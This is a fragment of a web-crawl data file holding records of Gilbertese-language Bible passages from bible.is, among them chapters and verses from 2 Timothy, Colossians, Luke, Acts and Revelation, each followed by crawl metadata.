14","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Mark\/14","date":"2013-12-04T23:45:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163037851\/warc\/CC-MAIN-20131204131717-00010-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1996,"character_repetition_ratio":0.046,"word_repetition_ratio":0.004,"special_characters_ratio":0.246,"stopwords_ratio":0.475,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngai ae Bwauro, ae ana tia tuatua Kristo Iesu n nanon te Atua, ibukin te taeka n aakoi are taekan te maiu are irouni Kristo Iesu, 2nakon Timoteo, ae natiu ae e tangiraki: am bwai te aakoaki, ma te nanoangaaki ma te raoi, mai iroun te Atua ae te Tama ma Kristo Iesu are ara Uea. 3I katituaraoa te Atua, ae I toro irouna ma mataniwiin nanou ae e itiaki, n ai aron are a karaoia naba au bakatibu. I katituaraoia n taai nako ake I uringko iai n au tataro n te ngaina ao te bong. 4I uringa arom ngke ko tang, ao I rangi ni kan nooriko bwa I aonga ni kaonaki n te kimwaareirei. 5I aki konaa ni mwaninga taekan te onimaki ni koaua ane i nanom, are e mena moa i nanon tibum are Nei Roiti ma tinam are Nei Eunike; ao I bon ataia bwa e mena naba ngkai i nanom. 6Ma ngaia ae I tuangko bwa ko na kakorakoraa maiun ana bwai n tituaraoi te Atua ane i nanom, are e reke iroum ngke I katokaa baiu i aom ni katabuko nakon nakoam. 7Bwa E aki anganiira te Atua te Taamnei ae e karikira bwa ti na mamaaku; ma E anganiira te Taamnei ae e kaonira n te korakora, te tangira, ma te konaa n taon nanora nakoni baika e tangiri te rabwata. 8Ko na tai maamaa n taekina taekan ara Uea, ao ko na tai maamaa naba irou, ngai ae I kabureaki ibukini Kristo; ma ko na buokanibwai ma ngai ni maraki ibukin te euangkerio, ni mwaakan te Atua; 9are e kamaiura ao E weteira bwa ti na riki bwa ana aomata, tiaki ibukini baika ti a tia ni karaoi, ma ibukin oin ana kaantaninga ma ana akoi, are ti anganaki ngkai ti reitaki ma Kristo Iesu; ao te aakoi aei e a kaman tauraoi i bukira ngke a tuai ni karikaki bwaai; 10ma ngkai, e a kaotaki nakoira n rokon ara Tia Kamaiu are Iesu Kristo, are e kamauna te mate, ao E kaota te maiu ma te aki-mka n te euangkerio. 11Bwa te euangkerio aei ae I baaireaki iai bwa te tia taekinna ngai, ao te tia tuatua ma te tia reirei ibukina; 12ao aei bukin ae I maraki iai ibukini baikai. Ma I aki maamaa, bwa I ataa Teuare I onimakinna, ao I aki nanokokoraki bwa E boni konaa ni kaawakina te baere E a tia ni mwiokoai iai ni karokoa te bong arei. 13Ko na tou mwiin au taeka aika a reirei ni koaua ake ko a tia n ongo irou bwa te banna ae ko na kakairi iai, ao ko na teimatoa ni bwaina te onimaki ma te tangira aika a kanoan arora n reitaki ma Kristo Iesu. 14Ko na kaawakina te baere e raoiroi are e mwiokoaki iroum ni mwaakan te Taamnei are e Raoiroi ae e maeka i nanora. 15Ko ataiia ake a mena i Atia bwa a bane n nako ni kiitanai; ao raoia naba Bukero ma Eremokene. 16E na nanoangaaki ana utu Onetiboro iroun te Uea, ibukina bwa e aki toki Onetiboro ni kauunga nanou, ao e aki maamaa ngkai I kabaeaki: 17ma ngke e mena i Rom, ao e ukoukorai ma nanona ni kan roko irou, ao I reke irouna. 18E na reke irouna nanoangaakina iroun te Uea n te bong arei! Ao ko bon atai arona ni kabane ake e karaoi i bukiu i Ebeto.\n2 TIMOTEO Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/2Tim\/","date":"2013-12-06T22:48:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052713\/warc\/CC-MAIN-20131204131732-00018-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":575,"character_repetition_ratio":0.047,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.463,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 21:2929Bwa a a kaman noora Terobimo are te I-Ebeto bwa raoni Bwauro i nanon te kaawa, ao a taku i nanoia bwa e a tia Bwauro ni kairia nako nanon te umwantabu. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/21\/29","date":"2013-12-10T21:44:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164026161\/warc\/CC-MAIN-20131204133346-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999207258,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999207258224487}","num_words":48,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"MWAKURI 27:99Ngke ti a maan n tiku iai, ao e a aki raoiroi te mwananga bwa e nangi reke te kabuanibwai iai ibukina bwa e a bwaka nako te Bong n Aki-mamatam, ao e anga ana taeka Bwauro n ibuobuoki, Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Acts\/27\/9","date":"2013-12-10T16:13:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164022163\/warc\/CC-MAIN-20131204133342-00050-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":55,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.242,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1I bukini ngkanne te angabwai i bukiia ake a itiaki: kam na karaoa te baere I a tia n tuangiia taian ekaretia i Karatia bwa a na karaoia. 2Ni moani bongin te wiiki ae koraki, ao e riai te aomata i bon irouna ni katuutuka teutana man are e a tia ni karekea, ao e na kaikoa, bwa e aonga n aki kainnanoaki te manga riko angabwai ngkana I roko. 3Ao ngkana I roko, ao N na kanakoia akana kam kariaiia n reeta, bwa a na nikira ami bwai n tituaraoi i Ierutarem. 4ao ngkana e riai bwa N na nako naba ngai, ao a na nako ma ngai. 5N na roko iroumi ngkana I tia n ri nuukani Mwaketonia; bwa ae N na ri nuukani Mwaketonia; 6ao N na tiku iroumi, tao ni kabanea bongin te aumeaang, bwa kam aonga ni bakaborauai nako ike N na nako iai. 7Bwa I tangira riki ae N na kawaringkami rimwi ni kamaanai iroumi, ngkana nanon te Uea, nakon ae N na kawaringkami ngkai ao e kimototo au tai i rarikimi. 8Ma N na mena i Ebeto ni karokoa te Bentekota, 9bwa e uki nakoiu te mataroa ae e warebwe ae e kamateraoi ibukin te mwakuri, ao a bati kairiribai. 10Ngkana arona bwa e roko iroumi Timoteo, ao kam na tarataraia bwa a na akea te bae e na maakiningkami iai; bwa te tia mwakuri ngaia ibukin te Uea, n ai arou naba. 11Ma ngaia ae e na tai kaakeaa boongana temanna iroumi; ma kam na bakaborauiia raoi bwa e aonga n roko irou, bwa ae I taningaa rokona ma rokoia taari temwaangina. 12Ao ibukin tarira are Aboro: I kairoroa bwa e na nakoimi ma taari aikai, ma akea nanona ni kan nakoimi ngkai. E a bon tai nako wati ngkana e reke ana tai. 13Kam na tatauraoi, kam na teimatoa n te onimaki, kam na nano ni mwaane, ao kam na korakora. 14Kam na karaoi bwaai ni kabane ma te tangira. 15Kam ataa Tetebana ma ana utu, bwa ngaiia ake a moa n riki bwa taan onimaki, ao a anga nanoia bwa taani beku i bukiia ake a itiaki: I butingkami, tariu, bwa 16kam na karineiia n iri nanoia te koraki akana ai aroia naakanne, ma aomata nako akana buobuoka te mwakuri, ao akana mwamwakuri. 17I kimwaareirei ngkai a roko Tetebana ma Boretunato ma Akaiko, bwa ai bon rabwatami naba ngaiia: 18bwa a karekea raun taamneiu ma taamneimi; ma ngaia ae kam na aki mwamwaninga taekaia aeka n aomata akanne. 19A kamauringkami taian ekaretia i Atia. A anga aia kamauri ae e bati nakoimi i nanon te Uea Akura ma Beritika, ma te ekaretia are a bobootaki kaaina i nanon aia auti Akura ma Beritika. 20A kamauringkami taari ni kabaneia. Kam na i kamauri i bon iroumi n ai aroia n inga taari. 21Ngai ae Bwauro, ae I korea au inga nakoimi n oini baiu. 22Ngkana arona bwa iai ane e aki tangira te Uea, ao ke e reke kaina. Mwarana ta! 23E na mena iroumi ana aakoi te Uea are Iesu Kristo. 24E na mena iroumi ni kabaneingkami au tangira i nanoni Kristo Iesu.\n1 KORINTO 16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/16","date":"2013-12-10T13:06:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164019123\/warc\/CC-MAIN-20131204133339-00064-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":15,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":524,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.433,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"IAKOBO 3:22Bwa akea iroura ae e aki kaairua; ao ngkana iai ae e aki kaairua n ana taeka, ao bon te aomata ae e kororaoi n arona, ae e konaa ni bweena rabwatana ae e bwanin. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Jas\/3\/2","date":"2013-12-11T17:48:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164040899\/warc\/CC-MAIN-20131204133400-00056-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":51,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.412,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Mai irouni Bwauro, ae ana tia tuatua Kristo Iesu n nanon te Atua, ao mai iroun Timoteo ae tarira, 2nakoia ake a itiaki i Korote, ake taari aika a kakaonimaki n aroia n iriira Kristo: 3Ti aki toki ni katituaraoa te Atua ae Taman ara Uea are Iesu Kristo n ara tataro i bukimi, 4ngkai ti ongo taekan onimakinani Kristo Iesu iroumi, ma tangiraia ake a itiaki ni kabaneia iroumi, 5ibukin te kaantaninga are e kamenaaki i mwaaimi i karawa; are kam ongo taekana ngke kam moa n onimakina taekan te koaua, ae bon te euangkerio, 6are e roko iroumi ao i aonnaba ni kabane: ao e kariki uaa ma n rikirake naba i nanomi man te bong are kam ongo taekana iai, ao n ataa raoi ana aakoi te Atua n arona ni koaua. 7N ai aron are kam reireiaki iai iroun Ebwabera are raora ni mwakuri ae e tangiraki, ae ana tia mwakuri Kristo ae e kakaonimaki, ae e onoi mwiira N ni mwakuri. 8Boni ngaia naba are e kaota nakoira aron ami tangira are kam anganaki iroun te Taamnei. 9Ma ngaia ae ti aki toki naba n tataro i bukimi, man te tai are ti ongo iai taekami, ao ti aki toki ni butiia te Atua bwa kam na kaonaki n ataakin nanona, ao n te rabakau ma te ataibwai ni kabanea are mai iroun te Taamnei, 10bwa kam aonga ni karaoi baika a booraoi ma nanon te Uea, aika E na kukurei iai, n aromi ni karaoi mwakuri nako aika a raraoi; ao bwa kam aonga n ataa riki aron te Atua, 11ngkai kam kakorakoraaki n te kakorakora ni kabanea, are e nako mani mwaakana ae e kamiimii, bwa e aonga n reke iroumi te nanomwaaka ni kabanea ma te taotaonaki n nano ma te kimwaareirei; 12ao bwa kam na katituaraoa te Tama, are e karaoingkami bwa kam na tau ni karekea tibwangami n te baere E a tia ni kaawakinna te Atua bwa aia bwai ana aomata aika a itiaki ake n te oota. 13E a tia ni kamaiura mani mwaakan te roo, ao E uotira nako aan ana tautaeka Natina are e tangiraki; 14are e reke mai irouna kainao-matakira—ae nanona, bwa a kabwaraaki ara bure. 15Kristo boni katootoongan te Atua ae e aki noonooraki, ao bon te moa n Nati ae e kakannato i aoni bwaai ni kabane aika a karikaki. 16Bwa a karikaki bwaai ni kabane mai irouna, ake i karawa ma ake i aon te aba ake a nooraki ma ake aki nooraki, ma baika iai mwaakaia ma aroia n tautaeka; a bane ni karikaki mai irouna, ao ibukina. 17Iai Ngaia i mwaaini bwaai ni kabane, ao a nako raoi aroni bwaai ni kabane n reitaki irouna. 18Ao Ngaia bon atuun te rabwata, ae te ekaretia; Ngaia ae e reke mai irouna maiun te ekaretia, ao te moa n Nati ni kamaiuaki man te mate, bwa e aonga ni moanibaan te kakannato i aoni bwaai ni kabane. 19Bwa boni man nanon te Atua ae e reke iai iroun te Nati aron te Atua ni kabane; 20ao bon nanona naba bwa E na raoiakini bwaai ni kabane nakoina irouna, aika i aon te aba ma ake i karawa; ao E karaoa aei ni maten Natina i aon te kaibangaki. 21Ao ngkami, kam raroa nako ngkoa mai iroun te Atua, ao kam ribaia i nanomi ibukin ami mwakuri aika a bubuaka; 22ma ngkai, E raoiakiningkami n rabwatan natina ni matena, bwa E aonga ni kaakiingkami i matana bwa aomata aika a itiaki aika akea aia kaairua ma kabuaakakaaia. 23Ma kam bon riai ni matoatoa ma n nene n ami onimaki, ao kam na aki kamwaingaki man te kaantaninga are e reke iroumi ngke kam ongo taekan te euangkerio; are e tataekinaki nakoia aomata ni kabaneia i aonnaba ni kabutaa ao are I riki iai, ngai ae Bwauro, bwa te tia mwakuri ibukina. 24I kimwaareirei ngkai ni marakiu i bukimi, bwa I a konaa ni kakororaoa iai marakin Kristo ni marakin rabwatau ibukin rabwatana, ae te ekaretia; 25are I riki iai bwa te tia mwakuri n ai aron te nakoa are I anganaki mai iroun te Atua i bukimi, bwa N na kabanea ana taeka te Atua n taekin, 26are te baere e raba, are e karabaaki ma ngkoangkoa ao mai irouia rooro nako; ma ngkai, e a kaotaki nakoia ana aomata aika a itiaki. 27E karaoa aei te Atua bwa E tangiringkami aika tiaki I-Iutaia bwa kam na ataa te baere e raba ae e kamiimii ae e mimitong; ao te bae e raba aei boni Kristo i nanomi, are Ngaia ami kaantaninga bwa e na reke neboami. 28Boni ngaia are ti tataekinna, n tuatuangiia aomata ni kabaneia ma n reireiia n te rabakau ni kabane, bwa ti aonga ni kaotiia aomata ni kabaneia bwa a ikawai ni maiuia n reitaki ma Kristo; 29ao anne bukin ae I kekeiaki mwaaka naba ni mwakuri, ao I kamanenaa te korakora ae e bati are E anganai Kristo, ao ae e mwamwakuri i nanou.\nKOROTE Array","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Col\/","date":"2013-12-08T09:45:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163059081\/warc\/CC-MAIN-20131204131739-00074-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":839,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.455,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"19Ao N na bon ninikoria naba n taekina aroni Kristo ni karaoani kanikina ma mwakuri aika a kamiimii ni mwaakan te Taamnei are e Raoiroi. Ma ngaia are ni mwanangau nakon taabo nako ake I a tia n roko iai, mai Ierutarem ni karokoa aonon Iruriko, ao I a tia n tataekina euangkerioni Kristo.\nROM 15:19\nOne App.\n815 Languages.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rom\/15\/19","date":"2013-12-10T14:42:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164020864\/warc\/CC-MAIN-20131204133340-00037-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.000009536743164}","num_words":58,"character_repetition_ratio":0.019,"word_repetition_ratio":0.0,"special_characters_ratio":0.234,"stopwords_ratio":0.414,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 KORINTO 14:2121E koreaki n te Tua ae e kaangai: E taku te Uea, N na taetae nakon te bootanaomata aei n taetae aika a aki ataaki, ni wiia aomata temwaangina; ma a bon aki ongo naba irou. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/1Cor\/14\/21","date":"2013-12-11T22:05:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164050279\/warc\/CC-MAIN-20131204133410-00080-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000033379,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000033378601074}","num_words":52,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.257,"stopwords_ratio":0.346,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1E taku Iesu nakoia ana reirei, Ae a na bon roko taiani kariiriii nakoni karaoan te buaakaka, ma e na reke kain ane a roko mai irouna baikanne! 2E raoiroi riki irouna ngkana e katineaki i roroana te atiibu ae e rawaawata ao e tewenakoaki i taari, nakon ae e na kaira temanna i buakoia aika uarereke aikai nakoni karaoan te bure. 3Kam na kaawakiningkami: ngkana e bure tarim nakoim, ao ko na takuia, ao ngkana e kabwaraa ana bure, ao kabwaraa ana bure; 4ao ngkana e bure nakoim itiua te tai n teuana te bong, ao e kaitiua ana tai n rairaki ni kaangai nakoim n teuana te bong, I kabwaraa ana bure; ao ko na kabwaraa ana bure. 5A taku taan tuatua nakon te Uea, Ko na kakorakorai riki ara onimaki. 6Ao E kaangai te Uea, Ngkana iai ami onimaki ae kaanga ai aron te koraa ae moan te uarereke, ao kam konaa ni kaangai nakon te kai aei, Ko na taekaki, ao ko na unikaki i taari; ao e na ongo iroumi. 7Antai iroumi ae iai ana toro ae e mwakuri ni kamarauan te tano ao e kaamwarakeia tiibu, ae e na kaangai nakoina ngkana e oki man ana mwakuri, Nako mai naba ngkai ao tekateka n rarikiriki n amwarake? 8Tiaki bwa e na kaangai nakoina, Ko na katauraoa te amwarake i bukiu, ao kabaea nuukam ao karaoi baika I tangiri ngkai I amwarake ma ni mooi? 9E karabwaa te toro arei ibukin ae e karaoa are e tuangaki? 10Ao ngkami naba, ngkana kam a tia ni karaoi baike kam tuangaki, ao kam na kaangai, Tooro ngaira aika akea manera; ti karaoa ti are ara mwakuri. 11Ngke e nako Ierutarem Iesu, ao E ri nuukan Tamaria ma Kariraia. 12Ao ngke E a kaan rin n te kaawa teuana, ao E kaaitibo ma aomata aika tengaun aika reebera; ao a tei i kiiraroa, 13ao a kanenei bwanaaia ao a kaangai, Iesu ae te Tia Reirei, Ko na nanoangaira. 14Ngke E nooriia ao E taku nakoia, Kam na nako ni kaotiingkami nakoia ibonga. Ao ngke a tabe n nako ao a kaitiakaki. 15Ao ngkanne temanna mai buakoia, ngke e nooria bwa e kamaiuaki, ao e rairaki n oki, ni kamoamoaa te Atua n te bwanaa ae e korakora; 16ao e bwaka ni bobaraaki i rarikini waen Iesu, ao e anganna taeka ni kaaitau. Bon te I-Tamaria ngaia. 17E taku ngkanne Iesu, Tiaki tengaun ake a kaitiakaki, ao a nga ake ruaman? 18Akea temanna ae e nooraki bwa e oki n anga neboan te Atua bwa ti te iruwa aei. 19Ao E taku nakoina, Tei rake, ao naako; e kamaiuko am onimaki. 20Ngke E titirakinaki Iesu irouia Bwaritaio bwa e na roko n ningai uean te Atua, ao E kaekaia ni kaangai, Akea kanikina ake a na tuangkami te tai are e na roko iai uean te Atua; 21ao akea ae e konaa ni kaangai, Noria, ao aei; ke, Ngaia ao arei! Bwa nooria, e mena uean te Atua i buakomi. 22Ao E taku nakoia ana reirei, Ane a na roko boong are kam na kan noora iai ana bong Natin te Atua, e aoria ngkana ti tebongina, ma ane kam na aki nooria. 23Ao ane a na kaangai nakoimi, Noria, Ngaia arei! ke, Noria, Ngaia aei! Tai nako, ao tai iriia. 24Bwa aron te iti ae e iti ao e kaoota karawa man iterana teuana nakon are teuana, ao ai aron naba Natin te Aomata n ana bong. 25Ma e na kabatiaaki moa bwainikiriinana ao E na ribaaki irouia kaaain te roro aei. 26Aronare e riki n ana tai Nooa, ao ai aron naba are e na riki n ana tai Natin te Aomata. 27A amwaamwarake ao a momooi; a iein ao a kaieinaki, ni karokoa te tai are e rin Nooa iai i nanon te aake; ao e roko te ieka ao e tiringiia ni kabaneia. 28Aron naba are e riki n ana tai Rota: a amwaamwarake ao a momooi; a kabooi bwaai ao a kabooi nako bwaai, a unuuniki ao a katei auti, 29ma n te bong are e oti nako iai Rota mai Totom, ao E kabwakaa te ai ma atiibu aika mwaakarokaro te Atua mai karawa, ao a tiringiia aomata ni kabaneia; 30ao ai arona naba n te bong are E kaotaki iai Natin te Aomata. 31N te bong arei, ao ane e mena i aon taubukin ana auti, ao ana bwai i nanon te auti, e na aki ruo n anai n uoti nako; ao ai arona naba ma teuare e mena n te onaroka i marenaua, bwa e na aki oki nakon ana bwai ake a tiku i mwiina. 32Kam na uringa rongorongoni buun Rota. 33Ane e ukoukora kaawakinani maiuna ao e na kabua, ma ane e kabuaa maiuna ao e na kaawakinna. 34I tuangkami bwa n te tai arei, n tairikina, ao ane a na wene uoman aomata i aon te nne ni wene ae ti teuana; e na uotaki nako temanna, ao e na katukaki are temanna. 35Ane a na uaia n ii amwarake aine aika uoman; e na uotaki nako temanna, ao e na katukaki are temanna. 37Ao a kaekaa Iesu, ni kaangai, Ia, te Uea? Ao Ngaia E kaangai, Te tabo are e mena iai te rabwata ae e mate, ao ikanne are a na bootaki naba iai mannikiba aika ikare.\nRUKA 17","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/17","date":"2013-12-11T12:12:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164035500\/warc\/CC-MAIN-20131204133355-00059-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":893,"character_repetition_ratio":0.05,"word_repetition_ratio":0.005,"special_characters_ratio":0.245,"stopwords_ratio":0.45,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KARATIA 6:88Bwa ane e ira nanon rabwatana ao e na anaa mwiina ae te mate man te rabwata; ao ane e ira nanon te Taamnei, ao e na anaa mwiina ae te maiu are e aki toki mai iroun te Taamnei. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Gal\/6\/8","date":"2013-12-04T18:28:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163036037\/warc\/CC-MAIN-20131204131716-00003-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999395609,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 0.9999395608901978}","num_words":56,"character_repetition_ratio":0.112,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.357,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KAOTIOTI 13:55Ao e anganaki te man arei te konaa n atongi taeka ni kainikatonga ma taeka ni bakanatua; ao e anganaki te mwaaka ni karaoa ae e kani karaoia abwi ma uoua te namwakaina. Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Rev\/13\/5","date":"2013-12-09T19:54:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163996875\/warc\/CC-MAIN-20131204133316-00003-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":0.9999802113,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.9999802112579346}","num_words":50,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"RUKA 7:2424Ngke a a tia n nako ana taan ua-rongorongo Ioane, ao E taetae Iesu nakoia aomata ibukin Ioane: Tera are kam nako iai nakon te rereua bwa kam na nooria? Te uteute ae e mwaeiei n te ang? Last Verse Next Verse 2004 Edition brought to you by Bible Society of the South Pacific.","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/GILBSP\/Luke\/7\/24","date":"2013-12-11T14:12:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164037376\/warc\/CC-MAIN-20131204133357-00003-ip-10-33-133-15.ec2.internal.warc.gz","language":"gil","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.000002384185791}","num_words":54,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.296,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ao I noora te niira ni boki i atain Teuare e tekateka i aon te kaintokanuea. Iai te koroboki i nanona ao i akuuna, ao e kanimwaki ni kanim ake kanikina aika itiua bwa e na aki uki; 2ao I noora te anera ae e korakora ae e taetae n te bwanaa ae e korakora ni kaangai, Antai ae e riai ni kauka te niira ni boki ma ni kaaki bwaini kanimwana ake kanikina? 3Ao bon akea temanna i karawa, ke i aonnaba, ke i aantano, ae e konaa ni kauka te niira ni boki ma n tarataraia. 4Ao I bati n tang ibukina bwa e aki kuneaki temanna ae e riai ni kauka te niira ni boki ma n tarataraia. 5Ao e kaangai temanna mai buakoia unimwaane akekei nakoiu, Tai tang; nooria, E tokanikai te Raian are e riki man te baronga are Iuta: te Raian aei boni kanoan ana kariki Tawita, ao E konaa n urui kanim ake kanikina ake itiua ake e kanimwaki iai te niira ni boki. 6Ao I noora te Tiibuteteei n tei i nuukan te kaintokanuea ma baike a maiu ake aman, ma unimwaane akekei: E taraa n ae E a tia ni kamateaki te Tiibuteteei arei, ao itiai korona, ao itiua matana, ake taamnei ake mai iroun te Atua, ake a a tia ni kanakoaki nako aon aaba ni bane. 7Ao E nako n anaa te niira ni boki mai atain Teuare e tekateka i aon te kaintokanuea. 8Ao ngke E anaa te niira ni boki, ao baike a maiu ake aman, a katorobubua ni bobaraaki i matan te Tiibuteteei, ao a toa baiia n te bwai ni katangitang ae te aabi ae te koora, ma taiani boora aika koora naba; a on baikai ni bwaai aika a boiarara, ake aia tataro aomata ake a itiaki. 9Ao a anene n te anene ae e boou, ao a anene ni kaangai, Ko riai n anaa te niira ni boki, ma ni kanakoi bwaini kanimwana ake kanikina; bwa Ko kamateaki ao Ko kamaiuiia aomata n raraam bwa ana bwai te Atua mai buakoia baronga nako, ma reeti n aomata nako, ma aomata nako aika a kakaokoro aia taetae, 10ao Ko karaoiia bwa ana ibonga te Atua n ueana; ao a na uea i aonnaba. 11Ao I taratara nako ao I ongo bwanaaia anera aika a bati aika a katoobibia te kaintokanuea ma bwanaaia baike a maiu ma unimwaane; ao mwaitin te koraki arei tebubua te mirion ao ngaa ma ngaa; 12ao a kaangai n te bwanaa ae e korakora, E riai te Tiibuteteei are e kamateaki n anganaki te mwaaka, ma te kaubwai, ma te rabakau, ma te korakora, ma te karineaki, ma te neboaki, ma te karaoiroaki. 13Ao I ongo bwanaani baika a karikaki ni kabane ake i karawa, ao i aonnaba, ao i aantano, ao ake i marawa, ma baike i nanoia ni kabane, bwa a kaangai: Ana bwai te Tiibuteteei ma Teuare e tekateka i aon te kaintokanuea te karaoiroaki, ma te karineaki, ma te neboaki, ma te tau-taeka, n aki tootoki. 14Ao baike a maiu ake aman a kaangai, Amene. Ao unimwaane a katorobubua ni bobaraaki ao a taromauri.\nTE KAOTIOTI 